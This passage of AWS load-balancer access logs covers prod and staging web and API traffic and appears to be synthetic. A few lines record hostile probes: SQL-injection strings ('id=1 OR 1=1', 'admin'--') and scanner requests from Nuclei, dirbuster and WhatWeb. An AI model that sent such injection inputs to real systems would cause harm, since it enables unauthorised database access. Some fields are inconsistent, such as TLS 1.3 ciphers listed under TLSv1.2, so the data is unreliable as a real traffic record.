8 2024-11-01T02:37:51.595371Z "forward" "-" "-" "10.0.2.15:443" "302" "-" "-" +https 2024-11-01T02:37:52.742962Z prod-web-alb 114.147.63.185:59812 10.0.180.190:443 0.064518 0.245099 0.034704 301 301 26 5740 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc90-cc775997889c4a0c9b5a7886" "prod-web-alb.example.com" "-" 10 2024-11-01T02:37:52.742962Z "forward" "-" "-" "10.0.180.190:443" "301" "-" "-" +https 2024-11-01T02:37:53.963595Z staging-alb 18.31.84.241:42357 193.213.75.54:8080 0.008429 0.409791 0.149113 301 301 172 706 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc91-bd3ec08e09d94fa2ba8a2a90" "staging-alb.example.com" "-" 0 2024-11-01T02:37:53.963595Z "forward" "-" "-" "193.213.75.54:8080" "301" "-" "-" +https 2024-11-01T02:37:55.045827Z prod-api-alb 17.170.170.48:39091 10.0.213.213:443 0.022471 0.277048 0.051066 404 404 31 11084 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc93-3738ef917c0a47bcbcb092c6" "prod-api-alb.example.com" "-" 1 2024-11-01T02:37:55.045827Z "forward" "-" "-" "10.0.213.213:443" "404" "-" "-" +http 2024-11-01T02:37:55.228402Z staging-alb 185.181.132.228:41268 194.187.12.242:443 0.012752 0.542720 0.087905 500 500 553 2241 "GET /users?id=1 OR 1=1 HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc93-11729212216a43f68260d0df" "-" "-" 7 2024-11-01T02:37:55.228402Z "forward" "-" "-" "194.187.12.242:443" "500" "-" "-" +https 2024-11-01T02:37:56.474693Z prod-api-alb 164.147.47.9:13336 10.0.186.226:443 0.084063 0.244636 0.087927 302 302 711 5939 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc94-b1b46eb49552464cbde49d30" "prod-api-alb.example.com" "-" 4 2024-11-01T02:37:56.474693Z "forward" "-" "-" "10.0.186.226:443" "302" "-" "-" +https 2024-11-01T02:37:57.786408Z prod-web-alb 243.17.122.215:59993 10.0.146.5:443 0.013376 0.320910 0.006419 200 200 985 2038 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc95-5b6fbf19d9c14fc39af9b3d4" "prod-web-alb.example.com" "-" 3 2024-11-01T02:37:57.786408Z "forward" "-" "-" "10.0.146.5:443" "200" "-" "-" +https 2024-11-01T02:37:58.133788Z prod-web-alb 31.118.64.10:51950 10.0.110.228:443 0.039633 0.007445 0.051284 200 200 293 365 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc96-9a54aa15bbed4569ad4f3421" "prod-web-alb.example.com" "-" 8 2024-11-01T02:37:58.133788Z "forward" "-" "-" "10.0.110.228:443" "200" "-" "-" +https 2024-11-01T02:37:58.345035Z prod-web-alb 71.237.179.38:17721 10.0.159.204:443 0.082356 0.497175 0.028094 200 200 774 12187 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc96-e92f30da325e4ac3af1ab922" "prod-web-alb.example.com" "-" 6 2024-11-01T02:37:58.345035Z "forward" "-" "-" "10.0.159.204:443" "200" "-" "-" +https 2024-11-01T02:37:58.573295Z prod-api-alb 207.73.68.153:39189 10.0.97.155:443 0.049094 0.095461 0.015027 302 302 645 12806 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc96-418e909477374c7b89fe1c0d" "prod-api-alb.example.com" "-" 10 2024-11-01T02:37:58.573295Z "forward" "-" "-" "10.0.97.155:443" "302" "-" "-" +http 2024-11-01T02:37:59.331531Z staging-alb 225.217.145.228:12560 218.190.65.115:443 0.103252 0.126036 0.127468 200 200 481 6018 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc97-ba99c9322fd6428f99d91409" "staging-alb.example.com" "-" 9 2024-11-01T02:37:59.331531Z "forward" "-" "-" "218.190.65.115:443" "200" "-" "-" +https 2024-11-01T02:37:59.695529Z prod-web-alb 161.146.172.140:52242 10.0.183.78:443 0.050715 0.198499 0.075328 200 200 21 13803 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc97-dddecf55eed44bc98edbe1d7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:37:59.695529Z "forward" "-" "-" "10.0.183.78:443" "200" "-" "-" +https 2024-11-01T02:38:00.133860Z staging-alb 35.104.11.139:29772 43.0.91.55:443 0.132531 0.229223 0.117222 200 200 138 8887 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc98-5310a7004a1d43b69463d80c" "staging-alb.example.com" "-" 2 2024-11-01T02:38:00.133860Z "forward" "-" "-" "43.0.91.55:443" "200" "-" "-" +https 2024-11-01T02:38:01.387019Z prod-web-alb 122.9.224.231:19456 10.0.232.201:443 0.034165 0.180602 0.050328 200 200 789 6559 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc99-b8102f4021a141dfbd6f3487" "prod-web-alb.example.com" "-" 5 2024-11-01T02:38:01.387019Z "forward" "-" "-" "10.0.232.201:443" "200" "-" "-" +https 2024-11-01T02:38:02.407874Z prod-web-alb 21.233.18.49:30038 10.0.17.31:443 0.068775 0.364469 0.070890 200 200 280 11091 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc9a-9acc43722fc54e07ac5e2a94" "prod-web-alb.example.com" "-" 0 2024-11-01T02:38:02.407874Z "forward" "-" "-" "10.0.17.31:443" "200" "-" "-" +https 2024-11-01T02:38:03.436576Z staging-alb 74.43.161.33:50313 49.225.193.142:80 0.109556 0.666415 0.083111 200 200 154 6182 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc9b-8a143d4ad8db410c8c301d94" "staging-alb.example.com" "-" 9 2024-11-01T02:38:03.436576Z "forward" "-" "-" "49.225.193.142:80" "200" "-" "-" +https 2024-11-01T02:38:04.394504Z prod-api-alb 55.92.23.228:25362 10.0.99.98:443 0.084107 0.076045 0.017983 301 301 673 3469 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc9c-0f81cb3771fc4fd6b05e8cec" "prod-api-alb.example.com" "-" 10 2024-11-01T02:38:04.394504Z "forward" "-" "-" "10.0.99.98:443" "301" "-" "-" +https 2024-11-01T02:38:06.194308Z staging-alb 141.105.104.30:30696 219.52.147.200:8080 0.072661 0.364304 0.128876 200 200 271 11566 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dc9e-c3e29dc4428048239bfa2255" "staging-alb.example.com" "-" 8 2024-11-01T02:38:06.194308Z "forward" "-" "-" "219.52.147.200:8080" "200" "-" "-" +https 2024-11-01T02:38:07.724272Z prod-web-alb 97.219.53.5:45270 10.0.181.157:443 0.029338 0.108283 0.072871 200 200 365 4210 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc9f-0540a4f6c36c4965a16d722c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:38:07.724272Z "forward" "-" "-" "10.0.181.157:443" "200" "-" "-" +https 2024-11-01T02:38:09.132955Z prod-web-alb 170.252.6.44:52690 10.0.222.189:443 0.023294 0.294706 0.003816 200 200 568 13203 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dca1-6767af11566d46feb028132f" "prod-web-alb.example.com" "-" 8 2024-11-01T02:38:09.132955Z "forward" "-" "-" "10.0.222.189:443" "200" "-" "-" +https 2024-11-01T02:38:09.998610Z prod-api-alb 170.74.119.244:25969 10.0.72.144:443 0.032692 0.494485 0.066280 301 301 10 6208 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dca1-028a9dd31a124c268d4d19a9" "prod-api-alb.example.com" "-" 1 2024-11-01T02:38:09.998610Z "forward" "-" "-" "10.0.72.144:443" "301" "-" "-" +https 2024-11-01T02:38:11.475518Z prod-api-alb 24.108.205.82:22722 10.0.28.55:443 0.055384 0.303152 0.074075 302 302 383 5945 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dca3-93fbf04598de47f890dcd73b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:38:11.475518Z "forward" "-" "-" "10.0.28.55:443" "302" "-" "-" +https 2024-11-01T02:38:12.201503Z staging-alb 45.155.205.70:11501 29.163.171.76:8080 0.054057 0.667017 0.080672 302 302 422 14289 "GET /wp-admin HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dca4-138f3035af0c45fc8204c74f" "-" "-" 10 2024-11-01T02:38:12.201503Z "forward" "-" "-" "29.163.171.76:8080" "302" "-" "-" +https 2024-11-01T02:38:12.995413Z prod-api-alb 185.181.104.251:40428 10.0.117.138:443 0.004495 0.070732 0.049662 403 403 910 950 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dca4-05fdd83b73c44f57b1ab6488" "-" "-" 3 2024-11-01T02:38:12.995413Z "forward" "-" "-" "10.0.117.138:443" "403" "-" "-" +https 2024-11-01T02:38:13.907947Z prod-web-alb 89.101.243.77:12296 10.0.126.71:443 0.019232 0.105153 0.040511 200 200 303 13383 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dca5-e7689742a10047ac8fa89ac9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:38:13.907947Z "forward" "-" "-" "10.0.126.71:443" "200" "-" "-" +https 2024-11-01T02:38:14.921812Z staging-alb 56.69.163.126:54932 3.216.185.95:443 0.038107 0.405054 0.061895 200 200 893 8441 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dca6-cddbf4782e7d40d18bd452ce" "staging-alb.example.com" "-" 5 2024-11-01T02:38:14.921812Z "forward" "-" "-" "3.216.185.95:443" "200" "-" "-" +https 2024-11-01T02:38:15.555005Z prod-web-alb 45.155.205.99:34724 10.0.65.221:443 0.057152 0.018190 0.086217 403 403 302 2845 "POST /debug/pprof HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dca7-ef5f6610f4fe4a0f86dd0e19" "-" "-" 10 2024-11-01T02:38:15.555005Z "forward" "-" "-" "10.0.65.221:443" "403" "-" "-" +http 2024-11-01T02:38:16.359646Z staging-alb 116.241.140.50:57798 241.201.137.114:443 0.110652 0.306420 0.018207 200 200 40 1322 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dca8-ac473cf9f15f498ca284bc72" "staging-alb.example.com" "-" 7 2024-11-01T02:38:16.359646Z "forward" "-" "-" "241.201.137.114:443" "200" "-" "-" +http 2024-11-01T02:38:16.982030Z staging-alb 94.254.32.77:29121 185.54.135.134:80 0.074390 0.686109 0.148500 302 302 863 13141 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dca8-f14039b4373a45e28ff567a4" "staging-alb.example.com" "-" 1 2024-11-01T02:38:16.982030Z "forward" "-" "-" "185.54.135.134:80" "302" "-" "-" +https 2024-11-01T02:38:18.330422Z prod-web-alb 121.21.130.226:45920 10.0.162.219:443 0.064237 0.476041 0.070345 404 404 214 1057 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcaa-aa307bb7629c4dc3a916d996" "prod-web-alb.example.com" "-" 6 2024-11-01T02:38:18.330422Z "forward" "-" "-" "10.0.162.219:443" "404" "-" "-" +https 2024-11-01T02:38:18.451737Z prod-api-alb 131.156.100.67:12386 10.0.78.110:443 0.070518 0.465806 0.011555 301 301 782 8209 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcaa-cb4f8d67d62943f1aeee63f9" "prod-api-alb.example.com" "-" 5 2024-11-01T02:38:18.451737Z "forward" "-" "-" "10.0.78.110:443" "301" "-" "-" +https 2024-11-01T02:38:19.205888Z staging-alb 155.100.230.147:38123 91.229.194.181:80 0.075546 0.052342 0.035650 301 301 397 10177 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcab-14342ab8d18641f3a1ba8c97" "staging-alb.example.com" "-" 3 2024-11-01T02:38:19.205888Z "forward" "-" "-" "91.229.194.181:80" "301" "-" "-" +http 2024-11-01T02:38:20.660272Z staging-alb 83.125.134.224:51265 25.4.32.138:443 0.132149 0.693991 0.075188 200 200 174 8042 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcac-a933ccb067924f569d01e270" "staging-alb.example.com" "-" 7 2024-11-01T02:38:20.660272Z "forward" "-" "-" "25.4.32.138:443" "200" "-" "-" +https 2024-11-01T02:38:22.029228Z prod-api-alb 218.185.146.227:30180 10.0.26.40:443 0.038238 0.301348 0.018325 302 302 717 9974 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcae-38e580ec509e486cb10b4b5e" "prod-api-alb.example.com" "-" 6 2024-11-01T02:38:22.029228Z "forward" "-" "-" "10.0.26.40:443" "302" "-" "-" +http 2024-11-01T02:38:22.792462Z staging-alb 60.152.3.92:10863 195.227.177.132:80 0.081631 0.405619 0.112368 200 200 317 5003 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcae-65049f13ae97482491741574" "staging-alb.example.com" "-" 0 2024-11-01T02:38:22.792462Z "forward" "-" "-" "195.227.177.132:80" "200" "-" "-" +https 2024-11-01T02:38:24.752321Z staging-alb 195.251.165.47:57854 143.185.181.237:8080 0.017105 0.306162 0.008036 302 302 56 10238 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcb0-29c34dc7bb994ee6bebb20f8" "staging-alb.example.com" "-" 3 2024-11-01T02:38:24.752321Z "forward" "-" "-" "143.185.181.237:8080" "302" "-" "-" +https 2024-11-01T02:38:26.088086Z prod-web-alb 66.138.25.216:30574 10.0.74.200:443 0.027281 0.274334 0.051428 200 200 174 9518 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcb2-60ab4137b54c4186a883f6c7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:38:26.088086Z "forward" "-" "-" "10.0.74.200:443" "200" "-" "-" +http 2024-11-01T02:38:27.082990Z staging-alb 210.226.21.31:19958 105.46.238.55:8080 0.132040 0.141428 0.005310 200 200 319 5616 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcb3-3de715a5f44743c1a522b987" "staging-alb.example.com" "-" 5 2024-11-01T02:38:27.082990Z "forward" "-" "-" "105.46.238.55:8080" "200" "-" "-" +https 2024-11-01T02:38:28.628153Z prod-web-alb 254.170.30.24:61220 10.0.30.175:443 0.001600 0.375556 0.056489 200 200 578 7894 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcb4-9e342ac784c54f11bd854ec1" "-" "-" 1 2024-11-01T02:38:28.628153Z "forward" "-" "-" "10.0.30.175:443" "200" "-" "-" +https 2024-11-01T02:38:29.867209Z prod-api-alb 133.145.85.199:21181 10.0.30.203:443 0.086670 0.480809 0.008368 200 200 725 3420 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcb5-86bf24df330c49bb9df2fcdb" "prod-api-alb.example.com" "-" 5 2024-11-01T02:38:29.867209Z "forward" "-" "-" "10.0.30.203:443" "200" "-" "-" +https 2024-11-01T02:38:30.957306Z prod-api-alb 76.125.8.51:35847 10.0.35.65:443 0.095167 0.111695 0.084545 301 301 397 6598 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcb6-89d0e671c97d40769ef686e4" "prod-api-alb.example.com" "-" 9 2024-11-01T02:38:30.957306Z "forward" "-" "-" "10.0.35.65:443" "301" "-" "-" +https 2024-11-01T02:38:31.064310Z prod-web-alb 39.135.113.229:54174 10.0.220.61:443 0.074552 0.030422 0.092217 200 200 541 11110 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcb7-cd94d5413b0b47e5a0491fc3" "prod-web-alb.example.com" "-" 1 2024-11-01T02:38:31.064310Z "forward" "-" "-" "10.0.220.61:443" "200" "-" "-" +https 2024-11-01T02:38:31.494652Z prod-web-alb 173.204.38.81:60641 10.0.200.146:443 0.041436 0.498554 0.088206 404 404 518 1295 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcb7-4de500f71df44b26b178ade8" "prod-web-alb.example.com" "-" 9 2024-11-01T02:38:31.494652Z "forward" "-" "-" "10.0.200.146:443" "404" "-" "-" +http 2024-11-01T02:38:32.667966Z staging-alb 96.76.183.241:52888 63.150.191.16:443 0.035884 0.152532 0.099450 200 200 765 651 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcb8-8e505458a3904b30a6d29a04" "staging-alb.example.com" "-" 10 2024-11-01T02:38:32.667966Z "forward" "-" "-" "63.150.191.16:443" "200" "-" "-" +https 2024-11-01T02:38:33.290121Z prod-api-alb 241.99.230.149:63849 10.0.149.163:443 0.002524 0.306873 0.059567 302 302 732 14915 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcb9-cd8f8b46050a47648df97180" "prod-api-alb.example.com" "-" 5 2024-11-01T02:38:33.290121Z "forward" "-" "-" "10.0.149.163:443" "302" "-" "-" +https 2024-11-01T02:38:34.890695Z staging-alb 172.24.156.77:10875 114.226.116.245:80 0.009233 0.013382 0.017681 200 200 224 1137 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcba-4f060d64ea464b1197f41c8e" "staging-alb.example.com" "-" 5 2024-11-01T02:38:34.890695Z "forward" "-" "-" "114.226.116.245:80" "200" "-" "-" +https 2024-11-01T02:38:35.094295Z prod-web-alb 82.221.64.171:32856 10.0.70.27:443 0.064179 0.358493 0.075683 302 302 200 7578 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcbb-adeb633f8b1145c1b9dff004" "prod-web-alb.example.com" "-" 4 2024-11-01T02:38:35.094295Z "forward" "-" "-" "10.0.70.27:443" "302" "-" "-" +https 2024-11-01T02:38:37.086746Z prod-api-alb 33.30.203.5:13184 10.0.244.81:443 0.068195 0.075313 0.043702 302 302 475 2620 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcbd-e392e6e0edd84d8c852d8319" "prod-api-alb.example.com" "-" 6 2024-11-01T02:38:37.086746Z "forward" "-" "-" "10.0.244.81:443" "302" "-" "-" +https 2024-11-01T02:38:37.560555Z staging-alb 117.118.228.255:26579 61.240.168.152:443 0.098177 0.741999 0.119393 301 301 591 8622 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 